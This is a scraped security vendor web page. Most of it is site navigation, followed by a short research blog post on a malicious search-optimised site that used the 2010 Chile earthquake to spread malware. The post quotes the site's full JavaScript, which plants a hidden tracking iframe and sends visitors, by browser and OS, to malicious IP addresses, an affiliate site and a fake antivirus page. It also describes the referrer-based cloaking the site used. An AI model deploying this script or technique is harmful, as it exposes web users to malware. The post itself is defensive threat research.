- See The Difference
- What is Zero Trust The strategy on which Zscaler was built
- How Zscaler Delivers Zero Trust A platform that enforces policy based on context
- Zero Trust Resources Learn its principles, benefits, strategies
![Zscaler transformation]( "Zscaler transformation")
See how the Zero Trust Exchange can help you leverage cloud, mobility, AI, IoT, and OT technologies to become more agile and reduce risk
- Customer Testimonials Hear first-hand transformation stories
- Case Studies Learn about pioneering Zscaler customers
- Analyst Recognition Industry experts weigh in on Zscaler
- See the Zscaler Cloud in Action Traffic processed, malware blocked, and more
- Experience the Difference Get started with zero trust
![Zscaler transformation]( "Zscaler transformation")
See how the Zero Trust Exchange can help you leverage cloud, mobility, AI, IoT, and OT technologies to become more agile and reduce risk
- Platform
- Platform Overview Unified platform for transformation
- Products Integrated services, infinitely scalable
![Zscaler transformation]( "Zscaler transformation")
Accelerate your transformationLearn MoreProtect and empower your business by leveraging the platform, process and people skills to accelerate your zero trust initiatives
- Technologies Global proxy-based cloud architecture
- Capabilities Integrated services, infinitely scalable
![Gartner Report]( "Gartner Report")
Gartner Magic Quadrant LeaderRead the reportZscaler: A Leader in the Gartner® Magic Quadrant™ for Security Service Edge (SSE) New Positioned Highest in the Ability to Execute
- Solutions
- Modern Workplace Enablement
- Security Transformation
- Infrastructure Modernization
- Industries & Partners
- Modern Workplace Enablement Overview Create fast, secure experiences for users everywhere
- Secure Work-from-anywhere Seamless access for the hybrid workforce
- Ensure great digital experiences Seamless access through fast, secure and reliable connectivity
![Zscaler workplace enablement]( "Zscaler workplace enablement")
Make hybrid work possibleGet startedSecure work from anywhere, protect data, and deliver the best experience possible for users
- Security Transformation Overview A modern cloud approach
- Prevent Cyberthreats Prevent phishing, ransomware, and other attacks
- Prevent Data Loss Protect data everywhere from exposure or theft
![Zscaler capabilities]( "Zscaler capabilities")
The World’s Most Effective Ransomware ProtectionGet StartedRansomware is the biggest threat to digital business. Learn how to take a proactive, zero trust approach to safeguarding your enterprise
- Infrastructure Modernization Overview Enable the new world of cloud and mobility
- Simplify Branch Connectivity Simplify and secure direct-to-cloud connections
- Secure Workload Communications Secure communications between clouds and workloads
- Posture Control Identify hidden risks across the cloud lifecycle
![Zscaler infrastructure modernization]( "Zscaler infrastructure modernization")
Enable the Agile BranchWatch NowYour network security is costing more than it’s worth. See how five companies drove simplicity, savings and security
- Industries Our ecosystem of zero trust partners
- Partner Integrations Simplified deployment and management
![Zscaler industry partners]( "Zscaler industry partners")
Secure your ServiceNow DeploymentGet StartedIt’s time to protect your ServiceNow data better and respond to security incidents quicker
- Resources
- Content Library Explore topics that will inform your journey
- Blog Perspectives from technology and transformation leaders
- Security Assessment Toolkit Analyze your environment to see where you could be exposed
- Webinars and Demos A first-hand look into important topics
- Executive Insights App Security insights at your fingertips
- Ransomware ROI Calculator Assess the ROI of ransomware risk reduction
![Zscaler resources]( "Zscaler resources")
- Security & Threat Analytics Threat dashboards, cloud activity, IoT, and more
- Security Advisories News about security events and protections
- Vulnerability Disclosure Program Webinars, training, demos, and more
- Trust Portal Zscaler cloud status and advisories
![Zscaler resources]( "Zscaler resources")
- The Cloud-First Architect Tools and best practices for the cloud
- Zenith Community Discuss ideas and issues with peers
- CXO REvolutionaries Events, insights, and resources for CXOs
- Training and Certifications Ongoing programs via Zero Trust Academy
- Cloud Security Alliance Securing the cloud through best practices
- Events Upcoming opportunities to meet with Zscaler
![Zscaler resources]( "Zscaler resources")
- Company
- About Zscaler How it began, where it’s going
- Leadership Meet our management team
- Investor Relations News, stock information, and quarterly reports
- Customers Learn about their transformation journeys
- Compliance Our adherence to rigorous standards
- ESG Our Environmental, Social, and Governance approach
- Events Upcoming opportunities to meet with Zscaler
![Careet at Zscaler]( "Careet at Zscaler")
Zscaler CareersApply NowJoin a recognized leader in Zero trust to help organization transform securely
- Media Center News, blogs, events, photos, logos, and other brand assets
- News and Press Zscaler in the news
![Careet at Zscaler]( "Careet at Zscaler")
Zscaler CareersApply NowJoin a recognized leader in Zero trust to help organization transform securely
- Partner Portal Tools and resources for Zscaler partners
- Summit Partner Program Collaborating to ensure customer success
- System Integrators Helping joint customers become cloud-first companies
- Service Providers Delivering an integrated platform of services
- Technology Deep integrations simplify cloud migration
- Partner Inquiry Become a Zscaler partner
![Careet at Zscaler]( "Careet at Zscaler")
Zscaler CareersApply NowJoin a recognized leader in Zero trust to help organization transform securely
Insights and Research
Chile Earthquake Tragedy Used To Spread Malware
As we've discussed multiple times, search engine optimization (SEO) is a favored tool for spreading malware. Along with the Haiti earthquake and the Winter olympics, the recent earthquake in Chile is a top news story. Unsurprisingly, attackers have already set up new websites to spread malware.
knoxhop.org/?q=hawai-tsunami-2010 is one of these malicious sites. It currently ranks from 19 to 22 for a Google search of "Chile tsunami 2010" (2nd or 3rd page). It shows up even with Safesearch on. As you can see on the screenshot, my antivirus thinks the page is safe (see the green star next to the page title added by the antivirus).
Google search result for "Chile Tsunami 2010"
The page is typical of the malware sites I have seen recently - the harmful data is sent only if you arrive from Google search results. That is, if your referrer header contains the Google search URL. Direct access to this page, or the wrong user agent, gives you a harmless (but ugly!) web page.
The harmless page with direct access
The malicious page is quite interesting:
<script>var ff="http://89.248.160.238/page.php?id=46";var chr="http://89.248.160.238/page.php?id=46";var op="http://217.23.5.216/hitin.php?land=20&affid=34100";var otr="http://217.23.5.216/hitin.php?land=20&affid=34100";document.write('<iframe src="http://mazefak.byethost8.com/1.html" width="1" height="1"></iframe>');if (navigator.appVersion.indexOf("Mac")!=-1) window.location="http://www.zml.com/?did=5663";else if (navigator.userAgent.indexOf("Firefox")!=-1) document.write('<div style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: #FFFFFF; padding: 0px"><iframe src='+ff+' width="100%" height="100%"></iframe></div>');else if (navigator.userAgent.indexOf("Chrome")!=-1) document.write('<div style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: #FFFFFF; padding: 0px"><iframe src='+chr+' width="100%" height="100%"></iframe></div>');else if (navigator.userAgent.indexOf("Opera")!=-1) document.write('<div style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: #FFFFFF; padding: 0px"><iframe src='+op+' width="100%" height="100%"></iframe></div>');else window.location=otr;</script>
Depending on the user agent, and the OS, the user gets different content. An iframe linking to a Russian website is added for all users. It is used to count the number of people hitting this page.
Mac users get redirected to http://www.zml.com/?did=5663. This is an affiliate link to the movie download site zml.com.
Chrome and Firefox users get an iframe to http://89.248.160.238/page.php?id=46 which contains obfuscated javascript. This URL is blocked by Firefox as a known malicious site.
Firefox warning
Internet Explorer and Opera browsers get an iframe to a fakeAV page.
With every new big events come new malware pages. Be aware of unknown website, even if the are displayed as top results on Google, and shown as safe by your antivirus!
- Julien